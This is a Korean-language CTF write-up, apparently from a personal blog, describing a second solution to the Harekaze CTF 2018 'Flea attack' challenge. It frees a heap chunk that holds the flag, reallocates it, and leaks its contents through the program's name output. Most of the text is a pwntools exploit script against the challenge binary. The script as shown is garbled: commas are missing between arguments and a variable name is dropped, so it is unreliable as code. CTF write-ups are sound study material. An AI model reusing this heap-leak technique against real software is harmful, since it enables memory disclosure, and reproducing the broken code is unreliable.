Write-up

[Harekaze CTF 2018] Flea attack writeup v2

ch4rli3kop 2018. 2. 27. 12:37
반응형

두 번째 방법

heap에 flag가 저장되어 있음. printf(Name : %s\n)을 이용해서 flag를 출력.


문제 분석

heap 영역에 flag를 저장하고 있는 chunk가 존재한다.


시나리오

맨 처음 heap 영역의 구조는 다음과 같다. 왜 인지는 잘 모르겠지만, FLAG가 heap에 저장되어 있다. 할당된 영역이므로 free가 가능하고 free 시에는 데이터가 초기화되지 않으므로, 위의 두 영역들을 free하고 다시 재할당 받으면 printf(Name : %s\n)을 통해서 FLAG를 읽을 수 있다.


[ heap 영역]

 

 


     <- ??




     <- FLAG가 존재하는 Chunk




     <- Top Chunk




우선 위의 할당받은 두 Chunk를 free시키기 위해, 적당한 크기로 공간을 할당받아 heap 주소를 leak한다. 그 뒤, 위에 설명한 바와 같이 새로 공간을 할당받아, FLAG를 읽는다.


exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
 
def Add_name(size, name, fl = False):
    r.sendlineafter("> "str(1))
    r.sendlineafter("Size: "str(size))
    r.sendlineafter("Name: "str(name))
    r.recvuntil("Name: ")
    name = r.recvline()
    if fl == True:
        flag = r.recvline()
        success("flag : " + flag)
    r.recvuntil("Addr: ")
    addr = r.recvline()
    return int(addr,16)
 
def Del_name(ptr):
    r.sendlineafter("> "str(2))
    r.sendlineafter("Addr: ",str(ptr))
 
= process("./flea_attack")
#context.log_level = 'debug'
 
r.recvuntil(":")
 
comment = ""
comment += "HaHa"
 
r.sendline(comment)  # Any comment will do.
#raw_input(">")
addr1 = Add_name(0x20"A"*32)  # Any size would do, too.
log.info("heap address = " + hex(addr1-0x10-0x1010-0x230))  # heap start address
 
## free ##
Del_name(hex(addr1-0x1010-0x230))  # FLAG leading Chunk
Del_name(hex(addr1-0x1010))  # FLAG Chunk
 
## reallocation and FLAG leak ##
raw_input(">> Leak")
Add_name(0x250"B"*0x22f, True)
 
r.interactive()
cs



반응형

'Write-up' 카테고리의 다른 글

[SECURITYFEST 2018] everywhere writeup  (0) 2018.06.03
[N1CTF 2018] vote write up  (0) 2018.03.14
[Harekaze CTF 2018] Flea attack writeup v1  (0) 2018.02.26
[CODEGATE 2018] Super marimo write-up  (339) 2018.02.20
[Harekaze CTF 2018] Lost_data writeup  (0) 2018.02.12